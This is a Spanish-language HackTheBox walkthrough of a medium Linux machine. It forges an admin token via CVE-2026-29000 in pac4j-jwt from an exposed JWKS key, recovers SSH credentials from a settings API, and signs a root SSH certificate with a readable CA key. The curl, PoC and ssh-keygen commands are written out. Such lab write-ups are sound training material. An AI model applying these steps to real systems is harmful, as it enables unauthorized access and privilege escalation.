
Walkthrough detallado de la explotación de CVE-2026-29000 en pac4j-jwt para eludir la autenticación, extraer credenciales de la configuración de la API y escalar privilegios mediante la firma de CA de SSH en una máquina Linux de HackTheBox.
Dificultad: Media SO: Linux Plataforma: HackTheBox
Aplicación web que ejecuta pac4j-jwt v6.0.3 — vulnerable a CVE-2026-29000. La clave pública RSA está expuesta sin autenticación a través de un endpoint JWKS y puede usarse para forjar un token JWE de administrador válido, omitiendo la autenticación por completo. Con acceso de administrador, se recuperan credenciales SSH en texto plano desde la API de configuración. La cuenta de servicio es miembro del grupo deployers con acceso de lectura a una clave privada de CA SSH confiable para sshd — firmar un certificado que otorga acceso root completa la máquina.
Navegué a la aplicación web y vi el código fuente de la página. Encontré el paquete JavaScript principal en /static/js/app.js.
Endpoints clave de la API identificados dentro de app.js:
/api/auth/login
/api/auth/jwks <- endpoint de clave pública (sin autenticación)
/api/dashboard
/api/users
/api/settings
El pie de página reveló: pac4j-jwt v6.0.3 — vulnerable a CVE-2026-29000.
Obtuve la clave pública RSA desde el endpoint JWKS sin autenticación:
curl http://<TARGET_IP>:8080/api/auth/jwks
# Devuelve la clave pública RSA (kid: enc-key-1)
CVE-2026-29000 permite usar la clave pública para forjar un token JWE válido — la librería acepta incorrectamente tokens cifrados con la clave pública en lugar de requerir la clave privada.
Usé el PoC para generar un token de administrador forjado:
python3 poc.py \
--jwks http://<TARGET_IP>:8080/api/auth/jwks \
--user admin \
--role ROLE_ADMIN
Usé el token forjado como token Bearer en Burp Repeater:
Authorization: Bearer <forged_token>
GET /api/dashboard → 200 OK
ROLE_ADMINCERT_ISSUED para el usuario: svc-deployGET /api/settings → 200 OK
/opt/principal/ssh/Accedí por SSH usando las credenciales recuperadas de /api/settings:
ssh svc-deploy@<TARGET_IP>
Se obtuvo la bandera de usuario.
svc-deploy está en el grupo deployers con acceso de lectura a /opt/principal/ssh/:
ls -la /opt/principal/ssh/
# ca — clave privada de CA RSA de 4096 bits (legible por deployers)
# ca.pub — clave pública de la CA
# README.txt — confirma que la CA es confiable para sshd
La clave privada de la CA es legible. Dado que sshd confía en esta CA, cualquier certificado firmado por ella es aceptado — incluido uno que otorga acceso root.
# Generar un nuevo par de claves
ssh-keygen -t ed25519 -f /tmp/privesc
# Firmar con la CA, otorgando principal 'root'
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root -V +1h /tmp/privesc.pub
# SSH como root
ssh -i /tmp/privesc root@<TARGET_IP>
Se obtuvo la bandera de root.
/home/svc-deploy/user.txt/root/root.txt